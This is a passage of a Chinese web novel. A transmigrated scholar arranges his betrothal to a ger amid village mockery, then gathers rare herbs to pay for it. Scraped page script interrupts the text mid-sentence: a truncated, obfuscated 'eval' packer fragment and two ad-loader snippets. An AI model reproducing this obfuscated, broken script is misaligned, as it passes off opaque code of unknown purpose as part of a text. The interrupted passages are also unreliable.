“邴家那个穷样,竟然胆敢肖想你,想得可真美!”幼弟亦道:“你快去跟他说清楚,不要让他再来纠缠你。” “嗯。”王五娘起身往外走去,眼里闪过深深的不耐烦。 当看见上蹿下跳的邴四郎,王五娘硬生生把这抹不耐烦压下去,挤出一个生硬的笑容,她把邴四郎带到避人的地方,这才道:“你怎么来了,不是跟你说过不要来我家找我吗?让村里人看见,该说闲话了,对你对我影响都不好。” 邴四郎喜形于色,“五娘,你不要害怕,我们的事情我回家跟我家里人说了,他们都同意了。只要你点头,他们随时可以上门提亲,这样咱俩以后就是未婚夫妻,可以光明正大走在一起,再也不用偷偷摸摸见面,更不怕村里人看见说什么难听的话了。” 王五娘面色登时大变,眼里闪过慌张无措,同时心头还涌上一股怒气。 这邴家可真敢想,竟然敢妄想她! 就邴家那个穷酸样,怎么张得开这口,她就是一辈子不嫁人,在家当一辈子老姑娘,也轮不到邴家肖想她。 王五娘压着怒气,“我阿耶不会同意的。你知道的,我家有幼弟,阿耶还要给他攒聘礼,我若是嫁人,一定得要彩礼的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这话本身没毛病,但是不能这么直白的讲。如果她没让邴四郎帮她干那些活,这话随意讲。 但是她让邴四郎帮她干了那么多活后,这话就不能这么讲了,否则她成什么人了?不想嫁人汉子,她勾着人给她干活,名声还要不要了。 王五娘转过身,背对着邴四郎,“四郎,就算你大哥承诺了银子不用咱们还,可是我嫁过去就真能一点不帮着还吗?我不是那样的人,这件事终究是咱们有缘无分。四郎,以后你我各自安好,望你早日觅得贤妻。” 王五娘说完就一头奔进屋里,无论如何再不敢出来。邴四郎再叫,王父和幼弟就出来骂人,骂邴四郎癞.□□想吃天鹅肉。 邴四郎闹了一通好大没脸,怏怏往家走。 邴温故看见邴四郎的脸色,就知道事情准没成。 邴温故讥笑,“怎么,被我说中了吧?” 邴四郎恨恨瞪着邴温故,“五娘不是你口中那样的人,她只是害怕咱家的穷罢了。” “她是不是那样的人,不是你我说的算的。不信你自己可以悄摸观察。”邴温故道:“有你帮着干活,她拒绝的都是那些家贫,只能帮她出苦力的汉子。那些能供她吃食的,她可一个也没有拒绝,私下都偷摸收了。” “你不要胡说八道毁五娘名声。”邴四郎叫嚷着。 “是不是的,你自己偷着观察不就知道了。”邴温故说完,就自己回屋了。 20.堪称侮辱的说亲 到了晚间,梁氏觉得邴温故气消的差不多了才敢找他谈话,不过却只字不敢提不让他成亲的话。 “大郎,你要成亲,我这里只有你给的几十个铜板,你知道的,那是你打到猎物换来的,我没敢乱花,现在都拿给你。”梁氏把铜板拿出来,“我知道这点子铜板于成亲而言,九牛一毛,可是家里真没再多了。” 邴家穷成什么样,邴温故自然知道,梁氏说的都是真的。 梁氏肯把这些铜板都拿出来给他成亲,实属难得。这也是为什么邴温故到现在也没有折腾分家的原因。 邴家夫妻对原主的心是真的,如果说邴家夫妻在这个家里偏向谁,那也是偏向原主,原主亏欠邴家夫妻的。 至于邴家其他兄弟,小心思且不论,原主也是亏欠的。不管怎样,邴家这些兄弟都供养原主读书这么多年了,家里的劳动原主一点没干过。现在才反抗,对得起原主了。 邴温故问心自问,让他供养原主这么多年,他怕是早就掀桌子了。 纵然邴温故自问他不欠原主,但是这毕竟是原主的心愿,在不委屈他和他夫郎的前提下,原主想要照顾提携他家里人,邴温故可以帮忙。 但如果邴家人要是敢闹妖蛾子,那他可不惯着,分家就是了。即便这个村子里有父母在不分家的习俗,分家会被全村人戳脊梁骨,邴温故依然会分。 不过目前为止,邴家人只是有些正常的小心思,算不得极品。可以调教下,若是能调教出来,正好他有用。 成亲这事上,邴家人的态度其实是无所谓的,主要都是不想让他继续读书。 这事倒没错,如果还是原主在这里的话,这书真是早断了早好。原主自己都知道自己考不上,绝望之下投河了。 在邴温故看来,原主并不是因为李二娘退婚想不开,主要还是因为这届县试仍旧无望,对以后的科举也没信心。李二娘退亲只是一个引子。 现在邴大郎芯子里的是他邴温故,他对科举一事,信心十足,十拿九稳。对于芯子里换人这事,邴家人并不知道,邴家人都不愿意继续供他读书能理解。所以不愿意让他读书,算不得什么幺蛾子。 梁氏小心翼翼觑着邴温故的神色,试探道:“南家那边对聘礼怎么说?” 邴温故想了想道:“我打算出五两银。” 村里其他人家说亲一般是一到二两银,除非极个别才要三两银,那就是顶破大天了。五两银子,省省都够别人家说三个媳妇了。 梁氏听得心惊肉跳,瞠目结舌,差点没给吓瘫。 “五两,这么多银子,你冲谁家借去?” “娘,我不借,我有办法搞到银子。” 梁氏心里更加没底了,吓的面色惨白,带着哭腔道:“大郎,咱可不能干那作奸犯科的事情。” 邴温故哭笑不得,“娘,你想哪里去了,我这好不容易娶上夫郎,好日子才开始,怎么可能想不开自寻死路。你放心吧,自寻死路的事情我不会做,以后我还得好好跟夫郎过日子呢。” 不知道为什么听着邴大郎这话,梁氏觉得比邴温故赌咒发誓还令她信服。 “娘,我心里有数,绝对不会逞强的,你就放心吧。”邴温故把铜板塞回给梁氏,“这些铜钱,娘你收回去。” 夜里,邴三郎的屋子里有了动静,白日里村中郎中看过,说是动了胎气,虽然给开了药,但到了夜里还是发动了。 邴家人包括邴温故全部起来,邴温故把村里稳婆和郎中都请了过来,幸而离预产期不算太远,还有十几日,这一胎生的还算顺当,没什么危险,母子平安。 梁氏喜的给稳婆包了十几枚铜板的红包,还额外给了几枚鸡蛋。 邴温故也松了口气,幸好母子平安。 屋里钱氏生产完,看着炕上瘦瘦小小的儿子,心满意足。 “我就知道这一胎一定是一个小郎君,我有感觉。”钱氏虽然虚弱但是心情很好,“总算给你生一个传递香火的了,要不然我都感觉在这个家里抬不起头来,说话都没底气。” 邴三郎乐呵呵逗着他儿子,“辛苦娘子了,娘子有功了。” 二人两岁的小女儿乖乖趴在炕上,看着耶娘宠爱的哄着弟弟,安安静静的。 钱氏想到什么忽然道:“之前我跟你说过大哥眼神可吓人了,把王氏吓的摔了一个屁股堆,你还不信,这回你信了吧。” 想到白日里邴温故的狠辣,邴三郎疯狂点头,“大哥鬼门关走一遭,真的变了,太吓人了。娘子,以后你可别惹他了,有什么事情偷着跟我说。” 钱氏斜乜他,“然后你去跟大哥说。” “不是,娘子,你若想改嫁就直说,不用非得整死我。” “怂货!”钱氏呸了声。 邴、南两家想要结亲的事情,他们自己都没往出说,就怕事情不成影响不好。但是架不住两家都闹得大。 南家倒是没打起来,但是苗氏哭的那么伤心,左右邻居不是聋子,都听到了。 邴家就不用说了,差点就出人命了,左右邻居们听得真真的,比当时在现场的邴家人还听的真。 第二日起来,整个村子就传遍了,几乎所有村人都在议论邴、南两家即将结亲的事情。 村里那几个最八卦的妇人又聚到一起。 王氏撇嘴,一副瞧不上的样子道:“邴家那种穷酸人家,也就娶南锦屏这种嫁不出的老哥儿了。” “我就知道,离了我家二娘,邴大郎别想说上亲。就算勉强说上亲事,也只能赵如南家那种没人要的老哥儿!”李氏道:“一个浑身穷酸气,一个嫁不出去,倒也算相配。” 李氏嘴上虽然这般说着,可是心里头却有些不得劲。 按照李氏的想法,她家二娘子退了邴大郎的亲事,邴大郎就该一辈子说不上媳妇,打一辈子的光棍。 即便是同样她瞧不上,觉得只有瘸子残疾或者岁数一把大的老鳏夫相配的小哥儿,也娶不到。 李氏撇嘴道:“邴家穷成那样,也不知道南家那个老哥儿咋想的,就邴家那样的人家,嫁他家,都不如给周南氏家的小娘子当个通房,最起码能吃上一口饭。” 王氏戏谑道:“咋了,邴大郎没因你家二娘子退亲而打一辈子光棍,心里不得劲了?” 李氏被说中心事,眼神闪烁,心虚道:“没有的事,就是觉可惜了南家那个老哥儿,虽然老点,孕痣淡,不好生养,但到底没有缺胳膊少腿,怎就想不开,跳进邴家那个火坑。” 王氏耗子似的小眼珠子在眼眶里滴溜溜乱转,忽然道:“我跟你说,我怀疑邴大郎和南家那个老哥儿早就不清不楚了。” 李氏惊诧地张大嘴巴,“啥时候的事,你咋知道?” 王氏神神秘秘的,“前些时候邴大郎不是投河了吗,谁也不知道救人的是谁,邴家非说是自己家救的 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李氏摆手道:“绝对不可能揣崽,咱们村里的李郎中都说了,南家那个老哥儿孕痣淡,绝对不能有孕。不过两人早就搅合到一起去一定是真的……” 村里人传的沸沸扬扬的,还有人直接跑到南家去,对南家夫妻道:“邴家那么穷,都吃不上饭了,你们把锦哥儿嫁过去这不是把人往火坑里推吗?这样吧,我给你介绍一门亲事,是我娘家嫂子的亲哥哥,那人可好了,人老实勤奋,心眼还好使。” 来人也不待南家父母说话,自顾自就噼里啪啦道:“他媳妇七年前死的,家里有七个孩子。正好锦哥儿不能生,嫁过去就儿女双全了,只要锦哥儿好好对待几个孩子,真心换真心,等到锦哥儿到老了,几个孩子总能给锦哥儿一口饭吃,不会饿死他。” 村人似乎还觉这是南锦屏占了便宜似的道:“本来那人是不愿意娶一个小哥儿的,人家想找个寡妇,带孩子的都行。还是我在中间好说歹说,男方给我一个面子这才同意的。行了,我也不要你家多感谢我,就当我行善积德了,这事我做主,就这么定了。” 村人一副他做主的样子道:“锦哥儿一会你就回了邴家的亲事,然后收拾收拾包袱跟我走吧。你这条件,我做主,就不要聘礼了。到时候去了人家勤快一些,多干活,少吃饭,真心真意对待几个孩子,免得到老了,人家孩子再给你撵出来。” 这人嘚不嘚一通说,给南家父母气的差点没背过气去,最后南大郎气到极致,拿着扫帚把人干了出去。 那人出了门还跳脚不服道:“好心当成驴肝肺,我那娘家嫂子的哥哥家里条件比邴家好多了,又有儿有女,锦哥儿不能生,嫁过去就儿女双全,天下哪还有这样好事!呸,不识好人心,你家那老哥儿也就配嫁进邴家那装着黄连水的大坑。” 还有人上门劝南家父母,让他们把南锦屏给周南氏的闺女当陪嫁,还说什么给一个秀才当通房,也比嫁给邴大郎强。 然而周南氏未来的女婿还不是秀才,只是一个跟邴大郎一样需要今年下场的考生而已。在这些人嘴里不知道怎么就莫名其妙成了秀才老爷。 还有人专门给南锦屏说那种缺胳膊少腿的残疾人,或者年纪比南父还大的老光棍,似乎这些人都比邴大郎强似的。 把南父气的都骂人了,苗氏又大哭了一场。 21.提亲 南锦屏被村邻这么闹,心情极差,他对苗氏道:“阿娘,赶紧把我的亲事定下来,这么闹下去,如果邴大郎反悔了,我的亲事这辈子就彻底的完了。” 苗氏也知道事情闹到这一步,如果锦哥儿嫁不进邴家,以后就是邴大郎这样的亲事都找不到了。 苗氏哭道:“锦哥儿,阿娘对不起你!” 这亲事总算答应下来,避免夜长梦多,也是怕了村人继续上门说一些堪称侮辱的亲事,苗氏这边点头,南锦屏立刻就找打邴温故,让他上门提亲 。 邴家昨天的闹剧邴温故一点没跟南锦屏讲,只管高兴的咧个大嘴冲南锦屏乐,“锦哥儿,你放心,我会对你好的,绝对不让你吃一点苦,瘦一点累。” 南锦屏不以为意,邴家那个样子,他嫁过去怎么可能不吃苦。只是他不怕吃苦,他活这么大好吃的没吃过多少,尽吃苦了,早都习惯了。 邴温故傻乐着道:“锦哥儿,聘礼你看五两银子可行?” 南锦屏本来一肚子心事,这下一下都被吓跑了,“五两银子,你哪有那么多银子?你不会想去借利钱吧?那可不成,利滚利,那就是一个无底洞,永远填不满的。” “不是。”邴温故怕南锦屏误会,赶紧解释道:“我不会碰利钱的。我想进深山,看看能不能在山上找到东西,到时候就有银子当聘礼了。” 邴温故这阶段身体已经养好了,精神力也恢复的七七八八了,正打算进深山找些东西改善一些邴家的生活。就算没有成亲这件事情,他原计划也就是最近就进山。 南锦屏想到之前邴温故隔三差五送来的野物,脸色立刻就变了。 “你不能进山!”南锦屏神色严肃,“山上太危险了,深山里更不安全,那可是有狼的。要是你遇上狼怎么办?” 邴温故笑呵呵安抚道:“锦哥儿,你别看我瘦,其实我力大无穷,遇上狼,来一个杀一个,来一双杀一双。” “胡扯,狼是群居动物一群一群的,你就算天生神力,也打不过一群狼。” 这倒是事实,但是邴温故他不止是力大无穷那么简单,他还有精神力,他的精神力铺陈开,可以查看方圆百里的情况,完全可以避开狼群。 南锦屏看出邴温故不以为意,他厉声道:“邴大郎,你真的不能进深山,我害怕。我从出生命就不好,我阿娘说厄运专挑苦命人,我就是那个苦命人。我怕你从前进山都没事,一旦和我定亲,进山就会被我的苦命连累遇到狼群。” 如果南锦屏说其他劝说的话,邴温故还会说服他。可是南锦屏这么说后,邴温故只剩下心疼,心脏似被千万支针扎似的,密密麻麻的心疼。 “你就来提亲好不好,不要等了。”南锦屏怕邴温故阴奉阳违偷偷上山,半是乞求道:“村里人说的那些话太难听了,我实在受不了了,你一会儿就请媒人来我家里吧。村里随便请个长辈就行,没有聘礼也没关系,我不在乎那些,我阿耶阿娘也答应我不要。” “好。”邴温故还能说什么,现在他除了心疼就是心疼。 邴温故回家立刻就催促梁氏去南家提亲。 一想到家里穷的都揭不开锅了,梁氏就忧心忡忡,“是不是太着急了,家里什么都没准备,就算南家不要聘礼,总要买些东西。否则太失礼了。” 按理说邴家这么穷,不管去谁家提亲,都应该先担心对方家里不同意。可南家,梁氏没这个顾虑。并非是梁氏跟村人一个态度瞧不上南锦屏,而是她直觉儿子跟南锦屏之间可能真的不清白,搞不好提亲这事,大儿子还没跟她说,就已经跟南锦屏商量过了。 邴温故没有告诉梁氏这是南锦屏要求的,只是道:“娘,村里子流言太难听了,我实在听不下去了,早定下来,早平息村里那些风言风语。至于聘礼,家里没有银钱就算了,前日我不是猎回来一只狍子吗,就用那只狍子做聘礼吧。” 当时邴温故把狍子分解了,打算给南锦屏送去一部分,家里当天吃一些,再剩下的拿去镇上卖。 但是后来因为南家那部分没送出去,回来后又跟邴四郎大闹了一场,这就导致晚上做饭的时候,谁也没心情做狍子肉,所以到现在为止,狍子肉一块没少,还是完整的。 梁氏这才想起来那只狍子,惊诧的失声叫道:“一整只吗?” 狍子乃野味,价格略高些。 一只狍子大约50~60斤肉,现在市价大约在每斤30~40文,一只狍子1500文~2400文,即二两到近二、三两银。这可不是一笔小数目。 梁氏转而想到之前邴温故还想拿五两银子做聘礼,现在聘礼省了,直接拿一整只狍子,好像也没有什么可大惊小怪的。 这么想着,梁氏就没什么可大惊小怪的了,很快神色恢复如常。 邴温故商量聘礼的事情可没有背着邴家其他人,除了钱氏在坐月子外,邴家其他人都在。免得以后有谁觉得他聘礼出多了,自家吃亏了,等南锦屏进门再闹腾。 邴家人其实哪个都不认同邴温故娶媳妇拿这么多聘礼,但是他们不敢说。之前邴四郎倒是有勇气反抗,差点让邴温故给弄死。 再者这现在这只傻狍子是邴温故自己猎到的,严格来讲并不算公中出的银子,他们娶妻可都是公中出的银子,就更加没人敢吱声。 包括之前极力反对的邴四郎,现在都消停下来。邴四郎之前反对,也不是反对邴温故成亲,而是那时候他以为王五娘会嫁给他,家中银子有限,如果给邴温故成亲,那么他就成不了亲了。 现在王五娘不愿意嫁他,邴温故又是自己搞银子成亲,邴四郎虽然考虑到家中银钱困难并不愿意,但是也没反对。 邴温故一一看过众人神情,大致猜到邴家众人心中所想。 “你们不用觉得自家吃亏了,你们成亲聘礼只要一两银子,我成亲却出了一整只狍子。”他索性打开天窗说亮话,以免南锦屏嫁过来,邴家众人再生事端,他娶南锦屏进门,是为了宠他,让他过舒心日子来了,可不是为了让他进门受气。“毕竟这只狍子是我自己猎到的,你们成亲是家中出的银子,这么算下来还是我吃亏。” 邴三郎和邴四郎不以为意,邴四郎直接道:“话是这么说没错,可是事却不是这么算的。二哥、三哥娶亲才用几个银子,你这么多年读书又花费多少?” 邴温故颔首,“这话没错,所以家里的欠银我自己还清,另外我还会为家中建六间青砖大瓦房。建房子的所有花费都由我出,但是算在耶娘名下。” 房子在谁名下,说道可就大了。若是在邴温故名下,待邴父邴母百年后,这房子就是邴温故一个人的,其他兄弟都得搬出去。 但若是在邴父邴母名下,那二老百年后,这房子可是要拿出来平分的,也就是说每个兄弟都有份。 邴温故这份承诺一出,那就是至少十几两银子出去了。 十几辆银子对于现在的邴家而言,可是一笔天大的数字,然而邴家众人不但没有惊喜的大喊大叫,反而都露出一言难尽的神色。 邴四郎发出一声嘲讽的大笑,讥讽道:“邴大郎,你读书不怎样,大话倒是说的响。幸亏咱家没有牛,要不然都得让你给吹的在天上飘了,别人人远远一看,就知道又是你再吹牛。” 邴三郎原是不想吱声的,毕竟有邴四郎在前头冲锋陷阵就够了,但实在是今个邴温故这大话说的太装了,邴三郎忍了忍,实在没忍住。 “大哥,有些话还是不能随便说的,不管以后你还科考与否,你总算个读书人,讲话还是要脚踏实地的好。”邴三郎这时候已经不看好邴温故科考了,觉得他就算参加今年的院试也考不上。 邴二郎夫妻最是沉默,平日里很少发表什么意见,这会儿都没忍住出言。 邴二郎道:“大哥,家里的那些外债,也不全都是你一个人花用的,不用你一个人承担,大家都会帮着一起还的,你不要有那么大的压力。” 言外之意,邴温故压力太大说胡话了。 邴二郎的娘子周氏不善言辞,只跟着点头,附和自家男人的话。 邴四郎嘲笑的声音更大了,他夸张地捧着肚子哈哈大笑,几乎要背过去气似的。 “天啊,这也太搞笑了吧,你这大话说的,就连咱们家里一向老实,啥事都不发表意见的二哥都听不下去了,忍不住说两句。” “不是,我不是那个意思。”邴二郎不善言辞,想要解释又不知道该怎样解释,憋得脸通红。 邴四郎只管放声大笑,根本不听邴二郎的话。 梁氏小心翼翼地窥视着邴温故的表情,生怕邴温故一个暴怒,再把邴四郎摁进水里,忙道:“邴四郎,你给老娘闭嘴!” 邴父也觉得四儿子在作死,怕他继续挑衅下去,没好果子吃,赶紧道:“行了,都闭嘴,吵吵闹闹的像什么话,你们大哥也没说错,他如果今年能考中,他说的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 那些也不是什么事。” “呵,就他?”邴四郎不屑,“指着他考中,不如指着天上掉馅饼。” “邴四郎,你不会说话就把嘴给老娘闭上。”梁氏也不觉得邴温故能考中,但是话不能这么说,晦气,不吉利。 邴温故没把邴家人的态度放在心上,他慢悠悠道:“如果我能做呢?” “你要是能做到,我就去吃屎!”邴四郎叫嚣。 邴三郎倒没有说的那么过分,而是道:“你若是能做到,往后我就听你的,你说让我撵狗,我绝不撵鸡。” 邴温故又瞅向邴父和梁氏,邴父和梁氏有些生气,他们一个劲给邴温故找回面子,邴温故还非得往上赶,二老也不愿意了。 梁氏道:“我和你们阿耶也是这个态度,如果你真能做到,别说咱家其他人,就是我和你阿耶也都听你的。以后这个家,由你当家做主。” “好。”邴温故转头又问邴二郎夫妻,“二弟,你们夫妻呢?” 邴二郎道:“我同大家一样。” 邴温故连家里最小的邴五郎和邴三娘都没放过,一一询问态度。 邴五郎和邴三郎虽然只有七岁,但是穷人家的孩子早当家,已经明白了邴温故说的那些话什么意思,两个小孩也只当邴温故在吹牛。 邴五郎撇着小嘴道:“大哥如果能说到做到,别说以后让我干什么我就干什么,就是让我娶鸡娶猪都行。” 梁氏轻声:“莫要胡说八道。” 邴三娘跟着脆生生道:“我同五哥态度一样。” 邴三娘还在邴温故看不见的角度偷偷翻了一个白眼。 梁氏骂道:“三娘,你才多大,什么娶啊嫁的,不准跟你五哥学些乌七八糟的话。” “知道啦。”邴三娘敷衍地回了一声。 邴家会说话的人都表了态,没表态的都是话还说不明白的小屁孩,邴温故这才满意。 邴温故颔首,“有大家这态度在就好。”| 邴温故没再说什么,叫上梁氏,拎起狍子肉去南家提亲。 这边邴温故刚走,邴三郎就把这事当个笑话讲给钱氏听。 钱氏听后,果然呵呵笑了起来,她自生了儿子后,心情一直极好,一边逗弄小家伙,一边笑眯眯道:“大哥知不知道那是多少银子?里里外外加在一起,十几两银子总要有的,他要是能拿出这些银子,我就是管他叫耶娘都行。” 南家人听南锦屏说了邴家一会儿就会上门提亲,便都没走。果然不大一会儿,梁氏并村里一个妇人和邴温故就到了。 “南家大哥大嫂,我上门道喜来啦。”妇人大嗓门子还没进院,屋里南家众人就都听到了。 南家人虽然对邴家这门婚事不满,但是事已至此,决定结亲,就不能端着态度,赶紧一个个收拾了面色,露出笑容。 苗氏忍着抑郁的心情,强笑道:“是邴家嫂子,快快请进。” 妇人笑眯眯道:“嫂子,大哥,咱们是向你家提亲来了。你看这是邴家大郎,读书人,识文断字,今年要下场考试的,到时候一旦高中,到时候你可就是秀才的岳父岳母了。” 十里八村谁家不知道谁家,邴大郎什么水平。村里人都知道,就没人觉得这是一个能中的。 当然这时候南父南母也不会说什么扫兴的话,只在心里暗暗道,‘媒人这张嘴果然不可信,死的都能说成活的。是个人就能吹成青年俊才。’ 南父南母笑着点头。 邴温故这时候把身上背的柳筐放下,看了一眼立在南父南母身边,从他进屋就没看他一眼的南锦屏,然后诚恳地道:“这是小婿聘礼,还望岳父岳母莫要嫌少。” 什么玩意就小婿、岳父岳母,这也太不要脸了吧! 南父南母刚要说什么就听到媒人一声惊呼,然后二人低头就看见桌子上的狍子肉,跟着差点失声叫出来。 这可是一整只狍子呀,差不多三两银子呢! 村人娶一个小娘子,不过一两聘礼,有手艺的小娘子三两银子也就尽够了。 至于娶一个小哥儿一两银子都用不上,几百文就足够了,要是出一两那就是天价了,可以说是夫家极为重视了。 可是现在邴家竟然拿出了一整只狍子!!! 南父南母本都做好邴家一文不出,或者出几十个铜板的准备,没想到现在邴家竟然拿这么多,惊的忘记计较邴温故那句岳父岳母了。 22.想办法搞成亲用银 送走邴温故和提亲的媒人后,南家人仍旧处在恍惚之中,看着桌子上的狍子肉还有一些不真实的感觉。 就连之前看见过狍子肉的南锦屏也有些发傻,毕竟之前邴温故给他送的只是一些狍子肉,现在送来的可是一整只狍子,这可要二三两银子呢!别说双儿了,就是谁家彩礼能得到这么多银子,都够家里吹上好几年了。 苗氏缓了好一会儿,还是没有缓过来,声音飘忽道:“大郎,你把狍子肉收起来,明天一早上拿到镇上卖掉。” 顾氏双眼直勾勾地盯着狍子肉,口水都要流下来了,“娘,家里留一点吃吧,家里都好久没吃到荤腥了。” 苗氏听见儿媳妇这话,好像才从恍惚中回过神来,喝骂道:“吃什么吃,饿死鬼投胎呀!邴家什么光景,你不知道?为了省出这一只狍子,家里还不定怎么难呢!” 苗氏知道狍子是邴温故打来的,但是如果不拿来给自家当聘礼,有了这只狍子,邴家的日子能好过不知道多少。 “大郎,卖了多少钱,你一文都不要花,等锦哥儿出嫁,都给他带回去。” 南父深深叹口气,对儿子儿媳妇道:“你们也不要有什么想法,如果邴家富裕也就罢了,这个银子咱家留下也就留下了,可是邴家现在过的那是什么日子,你们去看他家缸里看看,还有没有一粒米,耗子都不光顾他家的米缸。现在这一整只狍子咱家要是收下了,邴家以后的日子还怎么过?” 顾氏不吭声了,她这个人没那么坏,想到南锦屏即将跳进邴家那个火坑,心里头还有些难受。 顾氏道:“娘,不吃就不吃,我一时没想到那么多,明个就叫大郎去镇上卖了,你放心不管卖了多少钱,都一文不留的给锦哥儿。他要是敢私下昧下,我第一个不饶他。” 南锦屏心下感动,没想到这个以往向来斤斤计较的大嫂能说出这话。 南锦屏道:“耶娘,家里确实许久不见荤腥了,要不还是留下一些肉解解馋。” “解什么馋,肉一顿不吃死不了,邴家那日子少了这些银子能不能过下去可两说。” 村里人家,就没有聘礼银子全部给小哥儿和娘子带回夫家的,能带回去一点都是疼小娘子和双儿的人家。 现在南家夫妻全部都要给南锦屏带回去,就这顾氏也没有坚决反对,其他家中弟弟妹妹亦是如此,实不容易。要知道有了这笔银子,两个弟弟的聘礼,妹妹的嫁妆就都有了,即便这样,家中也无一人反对。 南锦屏感动的眼圈红了,他虽然命不好,投胎成了一个生来性别就是原罪,人人嫌弃的小哥儿,但是他很幸运的有一大家子好家人。 “谢谢阿耶阿娘,还有大哥嫂子,二弟三弟,小妹。”南锦屏躬身对南家人一一道谢。 顾氏大大方方接受了,她自认自己做的够受南锦屏这番感谢。 眼瞅着和邴家的亲事就这么定下来了,苗氏就不再纠结,只一心想着帮南锦屏备嫁。 嫁衣一般都是双儿自己绣的,但是苗氏知道自家小哥儿的绣技,那真是拿不出手,就打算自己替他绣。总不能真让自己小哥儿穿着针线稀烂的嫁衣出嫁,那岂不成了笑话。 苗氏语重心长道:“锦哥儿,阿娘知道你干活家里家外都是一把好手,就是地里的活也不比汉子差,甚至更能干,唯独这针线活你不喜欢,做不来。可是你要知道你成亲了,以后邴大郎身上的衣服,脚上穿的鞋,都要你来做。” “我知道了,阿娘。”南锦屏知道苗氏说这些都是为了他好,村子里就是这个习俗,男人身上脚上穿的,都是家里女人夫郎做的。 南锦屏知道自己针线活实在拿不出手,他会认真学习的。既然选择跟邴温故成亲,他就要承担起自己身为一个夫郎分内的事情。 这么想着,南锦屏就拿起针线准备亲手给邴温故做一个荷包。邴温故对他还不错,南锦屏就想回点什么。 村里未婚夫妻间有做鞋子的,但南锦屏知道自己的针线,怕他做的鞋子,邴温故穿上还没等走呢,先掉底了。想来想去就这荷包,不漏银子,应该就能用。 邴家这边,邴温故回到家中,让梁氏给他做一些干粮就上山了。 当然梁氏问他要干什么去,邴温故怕梁氏不让他进山,就推说去镇上找同窗,看看能不能借到钱或者让同窗帮忙介绍一个工作赚点银子成亲。 这推脱之语反而让邴家人更加相信,邴温故有些无奈。 邴温故拿着干粮直接进了深山。 他现在的精神力已经恢复,一进山就把精神力铺陈开,满山搜索。 这次他不找野物,只要名贵的草药,这玩意值钱,真能找到一棵,邴温故之前说的那些承诺就可以一步到位。 邴温故并不怕找不到,他们村这座后山极大,深山里人烟罕至 ,怎么也该有一两株珍惜药材。困难的就是需要一寸一寸搜寻。 邴温故一边避开大型猛兽,一边仔细搜寻,认认真真的不放过每一处角落。 名贵药材确实看见不少,但是年份太浅,采摘卖不了多少钱,还不如留在这山上,兴许村人谁家生病就能用上。他自己还是得寻年份久远的。 邴温故在山上找了三个日夜,终于在第四天找到一株五十年人参。 邴温故一阵欣喜,小心翼翼把人参挖出收好,继续搜寻,又找了一日夜,找到一枚近三十年份的灵芝。 精神力余力还扫到山中还有一株约莫五十年份的药材,但是邴温故并没有采摘,他想留给后来的人。 如果他只是这个时代普通的一户猎户,他一定不会放过,凭借自己本事找到的,凭什么放弃。 但是他不是,与这个时代的人相比,他多了一个相当于外挂一般存在的精神力,这让他无法做到全部采摘。 邴温故不是什么好人,为达目的可以不择手段,但同时他心中有一道永不可逾越的底线。 靠这座山活着的人那么多,贫穷的有得是,那些人生病无力治疗时,这个山上的珍贵药材就是他们唯一活命的机会。他不能尽数包圆,不给后人留一点。 收好人参和灵芝,邴温故立刻下山,他没回邴家,直接去了镇上。 原主邴大郎对镇上不太熟悉,更不知道哪家医馆信誉好,价格公道,邴温故只能拿着人参和灵芝一家一家问过去。 三十年份的灵芝,各大医馆给价一般在十两上下,当然也有医馆想占便宜,给的价格更 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 低,邴温故没有理会。 不过就算这个价格,邴温故也并不满意,他还是觉得低了。但他知道,在他们这个穷镇也就这个价格了,再想卖高价,那是不可能的了。 这么看来,那支人参也卖不上什么高价。 邴温故想了想,在镇上又买了一些干粮,然后坐上一架去往府城的马车。 府城比镇上繁华多了,在镇上难得一见的青砖大瓦房,在府城比比皆是。 人来人往的街道上,郎君娘子们穿着鲜艳,头戴簪花,完全不像镇上和村里的人,一眼望去皆是灰扑扑一片。 邴温故到了后,没有立刻去医馆问价,先是去了其他铺子,问了一圈府城的物价,与镇上做了对此,心里大约有个数。 这时候他的肚子咕咕叫起来,邴温故就找了一个路边摊,坐下吃了一碗三文钱的素面。 说实话,这素面清汤寡水的,连一点油腥都看不到,味道真不怎么样,但是邴温故并不是一个在意食物味道的人。他行军打仗的时候,哪给他挑味道的机会,难吃的营养液,一口一支。 素面量不大,邴温故根本吃不饱,就能给肚子填个底。 不过这倒不怪商家,自古以来出苦大力的农人的饭量和坐在办公室的都不是一个量级的。 摊主了面量对于府城的人而言,足够吃饱。 邴温故的精神修养回来后,他的听力就更加敏锐了,平时在家里为了不侵犯家人的隐私,他都刻意收敛。 现在在这大街上,本就是公众场合,谈不上侵犯隐私那说,邴温故就不再刻意收敛敏锐的五感。人生地不熟,多听多看,才能更加了解这里。 左右两桌谈话的内容都是家中琐事很快就被邴温故忽略过去,倒是最后一桌有两个干瘦的男人谈话引起邴温故的注意。 “张家镖局路过泉州地界,被卧龙山上那帮土匪给截了。” “我听说这事了,好像当时张家镖局的镖师们仗着自己武艺高强,不愿意乖乖就范,跟土匪打了起来,结果被反杀了好几人,还有两个重伤逃回来,不知道还能不能救回来。” 邴温故听的新奇,还凑上去跟说话的两人详细打听了下,知道这帮土匪盘踞在泉州地界的卧龙山上,自称卧龙寨。这伙土匪在那里没有三四十年也差不多了。 邴温故听了一肚子新闻,吃完了素面,结账的时候,同老板娘打听了府城哪些医馆信誉好,收药材的价格公道,把老板娘说的医馆名记在心上,然后一家一家找过去。 比对一圈价格,有两家医馆给的价格还算公道,五十年的人参给五十八两银,三十年份的人参给了十五两银。 这个价格是收购价,医馆转手指定能卖出更高的价格,但是没办法,医馆收购价就这样。除非直接卖给需要的人家,那肯定能卖的很高,问题这样的人家只靠邴温故自己找,一时半会根本找不到。 这也跟邴温故所在的府城是个穷府城有关系,要是放在富裕的府城,就算收购价也比这个价高多了。 山高路远,邴温故没有那么多盘缠,也没有那个时间,去不了更远的地方,最后随便选了两家出价最高的医馆把两样药材出手,一共换了七十三两银子。 23.给夫郎都买最好的 